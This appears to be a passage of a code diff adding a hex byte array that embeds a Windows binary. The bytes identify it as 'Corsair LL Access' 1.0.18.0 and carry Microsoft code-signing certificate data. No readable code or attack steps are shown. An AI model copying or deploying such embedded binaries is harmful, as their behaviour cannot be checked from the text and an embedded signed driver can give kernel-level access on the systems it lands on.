0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, + 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, + 0x20, 0x00, 0x28, 0x00, 0x63, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x31, 0x00, 0x39, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x41, 0x00, + 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, + 0x68, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x72, 0x00, 0x65, 0x00, + 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x64, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4F, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, + 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x44, 0x00, 0x12, 0x00, + 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, + 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x73, 0x00, + 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x4C, 0x00, + 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x73, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, + 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, + 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, + 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0xA1, 0x08, 0xA1, + 0xD8, 0xA1, 0xF0, 0xA1, 0xF8, 0xA1, 0x00, 0xA2, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x24, 0x00, 0x00, + 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x24, 0xCC, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x24, 0xBD, 0x30, + 0x82, 0x24, 0xB9, 0x02, 0x01, 0x01, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x09, + 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, + 0x5C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, + 0x04, 0xA0, 0x4E, 0x30, 0x4C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, + 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00, + 0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, + 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, + 0x20, 0xE4, 0xAC, 0x5C, 0x7F, 0xBB, 0x41, 0xEE, 0x98, 0x80, 0x29, 0xB2, + 0x7D, 0x8B, 0x6B, 0xE5, 0x74, 0x72, 0x56, 0x89, 0xFD, 0x13, 0x65, 0xF5, + 0xA5, 0x6F, 0x5A, 0x12, 0xD9, 0x12, 0x0F, 0x86, 0xC6, 0xA0, 0x82, 0x0D, + 0xD4, 0x30, 0x82, 0x06, 0x7C, 0x30, 0x82, 0x04, 0x64, 0xA0, 0x03, 0x02, + 0x01, 0x02, 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0x31, 0x94, 0x79, 0xA3, + 0x18, 0xF5, 0x52, 0x2D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x30, + 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, + 0x05, 0x00, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, + 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, + 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, + 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, + 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, + 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, + 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, 0x55, + 0x04, 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, 0x68, + 0x69, 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, 0x6F, + 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, 0x32, + 0x30, 0x31, 0x34, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x39, 0x30, 0x36, 0x30, + 0x35, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, + 0x30, 0x36, 0x30, 0x33, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x30, + 0x81, 0x91, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, + 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, + 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, + 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, + 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, + 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, + 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, + 0x6F, 0x6E, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, + 0x32, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x57, + 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x48, 0x61, 0x72, 0x64, 0x77, + 0x61, 0x72, 0x65, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, + 0x69, 0x6C, 0x69, 0x74, 0x79, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x73, + 0x68, 0x65, 0x72, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, + 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, + 0xE6, 0x0E, 0x76, 0xCA, 0xA9, 0x26, 0xC5, 0xB0, 0xC3, 0xAC, 0x62, 0x47, + 0x5F, 0x64, 0x72, 0xEF, 0xAD, 0xE7, 0x08, 0x65, 0xA6, 0xF9, 0xCB, 0x99, + 0x19, 0x4D, 0x40, 0x95, 0xAB, 0xB5, 0x59, 0xF6, 0x18, 0x2E, 0xC8, 0x34, + 0xB9, 0x84, 0x3F, 0x60, 0x64, 0x8E, 0x5B, 0xB8, 0xAF, 0x5A, 0xDC, 0x63, + 0x2C, 0x62, 0x18, 0x2D, 0x63, 0x19, 0x38, 0xF9, 0x39, 0xE6, 0xB5, 0xBA, + 0x61, 0x32, 0x5B, 0x84, 0x4C, 0x8C, 0x34, 0x06, 0x70, 0x6C, 0x56, 0xE5, + 0x2A, 0xA8, 0x61, 0x14, 0x56, 0x9A, 0x29, 0x13, 0xEE, 0x72, 0xB7, 0x5D, + 0xF6, 0xFF, 0xAE, 0xCA, 0x5D, 0xF7, 0xA6, 0x95, 0x20, 0x14, 0x79, 0xD4, + 0x66, 0xCD, 0x99, 0xFA, 0x7A, 0xD1, 0x53, 0x80, 0x2E, 0x50, 0x7B, 0xF8, + 0x99, 0x15, 0xD6, 0xCD, 0xA9, 0x51, 0xA0, 0xD1, 0xCE, 0x6F, 0x39, 0x44, + 0x9C, 0x7B, 0xA1, 0x02, 0xD0, 0xAA, 0x0C, 0x23, 0x2A, 0x93, 0x5C, 0xDA, + 0x8F, 0xCF, 0xDF, 0x14, 0x47, 0xE7, 0x84, 0x7A, 0x3A, 0x3C, 0xB2, 0x5F, + 0x7A, 0x2D, 0x15, 0x3D, 0x53, 0xD5, 0x02, 0xDF, 0xB5, 0x8A, 0x4C, 0x45, + 0xFC, 0x95, 0x26, 0x8A, 0x3D, 0xAA, 0x95, 0x7C, 0x7F, 0x20, 0x56, 0x3C, + 0xFC, 0xFB, 0x62, 0x38, 0x72, 0xAE, 0x2B, 0x62, 0xC1, 0x5A, 0x94, 0xE6, + 0x35, 0x29, 0xCE, 0x41, 0xE0, 0x4E, 0x3A, 0x97, 0x21, 0xC3, 0x19, 0x47, + 0x22, 0x65, 0x2C, 0xF9, 0x66, 0x6B, 0xD6, 0x3D, 0xFE, 0x39, 0x57, 0x79, + 0xBA, 0x6F, 0x8E, 0x50, 0x31, 0x18, 0x0B, 0xE5, 0x9F, 0x00, 0x31, 0xCC, + 0xC8, 0x1C, 0x84, 0xCE, 0x3A, 0xD1, 0x7F, 0x7F, 0xB2, 0x54, 0x4F, 0x08, + 0x99, 0x81, 0x34, 0x14, 0xC4, 0x89, 0x84, 0x53, 0xA9, 0x3A, 0x38, 0xAC, + 0x97, 0xA3, 0x0C, 0x47, 0x0A, 0x3C, 0xF4, 0x6A, 0x9D, 0x96, 0xE0, 0x82, + 0x7A, 0xDB, 0x80, 0x7B, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, + 0xCC, 0x30, 0x82, 0x01, 0xC8, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x1D, 0x25, + 0x04, 0x25, 0x30, 0x23, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, + 0x37, 0x0A, 0x03, 0x05, 0x06, 0x0B, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, + 0x37, 0x0A, 0x03, 0x05, 0x01, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, + 0x07, 0x03, 0x03, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, + 0x04, 0x14, 0x70, 0xE0, 0xD7, 0xF2, 0x5B, 0x68, 0x52, 0xE3, 0x39, 0x11, + 0x4C, 0xD0, 0x98, 0x0A, 0xEA, 0x4F, 0x4E, 0x44, 0x48, 0x36, 0x30, 0x50, + 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x49, 0x30, 0x47, 0xA4, 0x45, 0x30, + 0x43, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x20, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, 0x65, + 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x16, 0x30, 0x14, + 0x06, 0x03, 0x55, 0x04, 0x05, 0x13, 0x0D, 0x32, 0x33, 0x32, 0x31, 0x34, + 0x37, 0x2B, 0x34, 0x35, 0x35, 0x34, 0x33, 0x37, 0x30, 0x1F, 0x06, 0x03, + 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0xC8, 0x3A, 0x9C, + 0xA7, 0x4A, 0xC3, 0x23, 0xF2, 0x25, 0x7E, 0xB9, 0xDA, 0xAB, 0x29, 0x53, + 0x0E, 0x54, 0x00, 0xC3, 0xA1, 0x30, 0x74, 0x06, 0x03, 0x55, 0x1D, 0x1F, + 0x04, 0x6D, 0x30, 0x6B, 0x30, 0x69, 0xA0, 0x67, 0xA0, 0x65, 0x86, 0x63, + 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, + 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, + 0x2F, 0x70, 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x63, 0x72, 0x6C, 0x2F, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x25, 0x32, 0x30, + 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x25, 0x32, 0x30, 0x54, 0x68, + 0x69, 0x72, 0x64, 0x25, 0x32, 0x30, 0x50, 0x61, 0x72, 0x74, 0x79, 0x25, + 0x32, 0x30, 0x43, 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x25, + 0x32, 0x30, 0x43, 0x41, 0x25, 0x32, 0x30, 0x32, 0x30, 0x31, 0x34, 0x2E, + 0x63, 0x72, 0x6C, 0x30, 0x81, 0x81, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, + 0x05, 0x07, 0x01, 0x01, 0x04, 0x75, 0x30, 0x73, 0x30, 0x71, 0x06, 0x08, + 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x65, 0x68, 0x74, + 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, + 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2F, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x25, 0x32, 0x30, + 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x25, 0x32, 0x30, 0x54, 0x68, + 0x69, 0x72, 0x64, 0x25, 0x32, 0x30, 0x50, 0x61, 0x72, 0x74, 0x79, 0x25, + 0x32, 0x30, 0x43, 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x25, + 0x32, 0x30, 0x43, 0x41, 0x25, 0x32, 0x30, 0x32, 0x30, 0x31, 0x34, 0x2E, + 0x63, 0x72, 0x74, 0x30, 0x0C, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, + 0xFF, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, + 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, + 0x00, 0x31, 0x23, 0x14, 0x21, 0x70, 0x55, 0xAF, 0xC1, 0xA5, 0x75, 0x11, + 0x81, 0xC7, 0xD2, 0xD7, 0x61, 0x9B, 0x23, 0xBA, 0x17, 0x16, 0x6E, 0x6A, + 0xE6, 0xF3, 0x58, 0xB1, 0x69, 0x21, 0xC9, 0x25, 0xC6, 0xE3, 0xB7, 0x5C, + 0x31, 0xB9, 0x30, 0x35, 0xF3, 0x57, 0xC1, 0x54, 0xFE, 0x4D, 0x34, 0x70, + 0x19, 0xE9, 0x27, 0xDB, 0x19, 0x57, 0x19, 0x3B, 0x74, 0x1E, 0x33, 0x71, + 0xB4, 0x6F, 0x4D, 0x62, 0x12, 0xB3, 0xBE, 0xC9, 0x72, 0xD6, 0xFF, 0x22, + 0x97, 0xE8, 0xB1, 0xF2, 0x39, 0x1F, 0x84, 0x00, 0x45, 0x47, 0x1E, 0xE3, + 0x1C, 0x52, 0x4D, 0x4F, 0x5B, 0xF1, 0xCA, 0xE4, 0xA3, 0x2B, 0x73, 0xF6, + 0xE4, 0x8F, 0x51, 0xF7, 0x77, 0xBB, 0x5B, 0x8A, 0x72, 0x6D, 0xB2, 0xA3, + 0x87, 0xC7, 0xC8, 0xDF, 0x42, 0x28, 0x95, 0x40, 0xF4, 0xF3, 0xD2, 0x7B, + 0x37, 0xD4, 0xAB, 0x48, 0x54, 0xEF, 0xBA, 0x80, 0x90, 0x21, 0x87, 0x9F, + 0x32, 0x57, 0xD5, 0x67, 0x0D, 0x70, 0x00, 0x3A, 0x51, 0xD6, 0x2B, 0xBC, + 0x68, 0xE3, 0x45, 0xA7, 0x69, 0xF3, 0x7C, 0xCB, 0x3A, 0xD3, 0x36, 0xB7, + 0xB3, 0xC4, 0x94, 0xF5, 0xD5, 0x6E, 0xF8, 0x30, 0x02, 0x28, 0xD2, 0x98, + 0x35, 0xE5, 0x12, 